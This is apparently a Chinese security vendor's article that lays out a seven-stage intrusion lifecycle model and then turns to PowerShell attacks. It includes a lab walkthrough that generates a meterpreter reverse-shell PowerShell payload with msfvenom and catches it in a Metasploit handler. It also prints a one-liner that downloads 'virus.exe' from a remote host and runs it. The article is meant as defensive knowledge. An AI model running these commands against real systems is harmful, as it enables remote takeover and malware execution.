美创科技为了更好地进行入侵检测和防御，参照各种安全威胁框架和自身的实践与思考，提出了基于入侵生命周期的攻击管理模型。
作为美创新一代安全架构的三大支柱之一。入侵生命周期v1.0把入侵过程划分为7个阶段：探索发现、入侵和感染、探索感知、传播、持久化、攻击和利用、恢复。入侵生命周期v1.0同样以ATT&CK作为基本战术知识库，匹配到不同的入侵阶段。需要注意的是，并非所有的入侵都会经历这7个阶段，也没有绝对的线性次序。
1）探索发现
在这个阶段中，攻击者会先锁定攻击对象，然后利用某些技术手段，尽可能多地获取目标暴露出来的信息，如通过端口扫描、指纹探测等方式，发现敏感端口及版本信息，进而寻找攻击点，为下一步入侵做准备。
2）入侵和感染
在这个阶段，攻击者会根据“探索发现”阶段所发现的重要信息，来对目标暴露出的攻击面进行攻击尝试，在“探索发现”阶段收集到的信息越多，攻击对象所暴露的攻击面也就越多，攻击更易成功。
3）探索感知
攻击者在成功进入系统内部后，由于是首次进入所以会出现对内部环境不熟悉的情况，这时攻击者的动作一般会是对当前所处环境进行探索，摸清内部大致的网络结构，常常伴随着被入侵本机的敏感信息收集以及对内网大量的端口进行扫描，后续根据攻击者的目的进行下一步操作。
4）传播
在此阶段，攻击者根据上一阶段在内网探索感知收集到的信息，选择特定的攻击手法。如若发现内部是域环境，攻击者可能会尝试先攻破域控服务器，再传播其他机器。若是工作组环境，可能会利用收集到的端口和服务信息，选择特定漏洞进行批量扫描攻击，来尽可能多地继续获得其他计算机的控制权。
5）持久化
攻击者在对资产进行恶意操作后，为了能够减少再次连接的攻击成本，方便下次进入，会进行“留后门”的操作，常见的后门如：建立计划任务，定时连接远程服务器；设置开机启动程序，在每次开机时触发执行特定恶意程序；新建系统管理员账号等。这样便于攻击者下次快速登录并控制该系统。
6）攻击和利用
攻击者在此阶段便会开始对目标资产进行恶意操作，按照攻击者意愿，对能利用的数据进行窃取、利用；对操作系统、敏感文件进行破坏、删除。所有的防御手段都应该极力阻止攻击者进行到这一阶段。
7）恢复
攻击者在执行所有的攻击操作时，往往会在系统上留下大量的行为日志，因此在这一阶段，攻击者会对记录自身痕迹的所有日志进行处理，或删除或混淆，从而消灭证据，逃避追踪。
“
本系列文章基于美创科技入侵生命周期1.0架构，细分个阶段攻击者的常用攻击手段，并对相关攻击手段的具体实施方式进行逐一剖析，为安全防御建设提供有力知识补充和反制准备。
Windows PowerShell攻击
探索发现、入侵和感染、探索感知
传播、攻击和利用、持久化阶段
Windows PowerShell是一种命令行外壳程序和脚本环境，它内置在每个受支持的Windows版本中（Windows 7/Windows 2008 R2和更高版本），使命令行用户和脚本编写者可以利用.NET Framework的强大功能。
在渗透测试中，PowerShell是不能忽略的一个环节，而且仍在不断地更新和发展，它具有令人难以置信的灵活性和功能化管理Windows系统的能力。一旦攻击者可以在一台计算机上运行代码，就会下载PowerShell脚本文件（.ps1）到磁盘中执行，甚至无须写到磁盘中执行，它可以直接在内存中运行。这些特点使得PowerShell在获得和保持对系统的访问权限时，成为攻击者首选的攻击手段。
利用PowerShell的诸多特点，攻击者可以持续攻击而不被轻易发现。因此，powershell在入侵过程的多个生命周期流程都发挥着重要作用，以帮助攻击者完成各类操作。从入侵生命周期角度分析，powershell可作用于攻击者探索发现、入侵和感染、探索感知、传播、攻击和利用、持久化阶段六个阶段。
从攻击行为链条的上下文来看，针对powershell的行为链条输入输出如下。
输入：调用powershell调用方式（本地调用、远程调用）、powershell调用时间、powershell调用者、执行的powershell命令、执行的powershell脚本等。
输出：执行PowerShell命令后的输出结果、执行PowerShell脚本后的输出结果、powershell命令或脚本调用的函数等。
针对powershell，目前主要有以下几种常用手段：
1．使用PowerShell进行端口扫描
2．执行PowerShell恶意有效负载，例如使用PowerShell脚本，反弹shell到metasploit
操作环境：本机kali ,ip:192.168.215.151 被攻击者win7,ip:192.168.215.148
网络环境：局域网
思路：用kali的msfvenom生成一个后门，启动msf监听相应端口，让目标主机执行即可反弹一个shell
(1)首先执行msfvenom -p windows/x64/meterpreter/reverse_tcplhost=192.168.215.151 lport=6666 -f psh-reflection>test.ps1，生成一个powershell脚本，lhost是执行后门后所要反弹的ip,lport是端口。
(2)启动msfconsole
(3)启动msf后步骤如下：
a. 使用useexploit/multi/handler模块
b. 设置payload，set payload windows/x64/meterpreter/reverse_tcp，这是一个反弹shell的payload
c. 设置lhost为本机的ip192.168.215.151
d. 设置lport为6666，与第一步设置的powershell脚本中的端口一致。
e. 设置完成后，执行run
(4)在windows机器中执行powershell脚本，此时kali中会显示如下结果：
(5)在meterpreter中输入shell，即可拿到相应的shell，执行一下命令ipconfig，成功回显。
3．使用PowerShell从Internet下载并运行可执行文件，例如执行以下命令，远程下载病毒文件并执行：
powershell (new-objectSystem.Net.WebClient).DownloadFile('http://ip/virus.exe','c:downloadvirus.exe');start-process'c:downloadvirus.exe'
浙公网安备 33010502006954号 
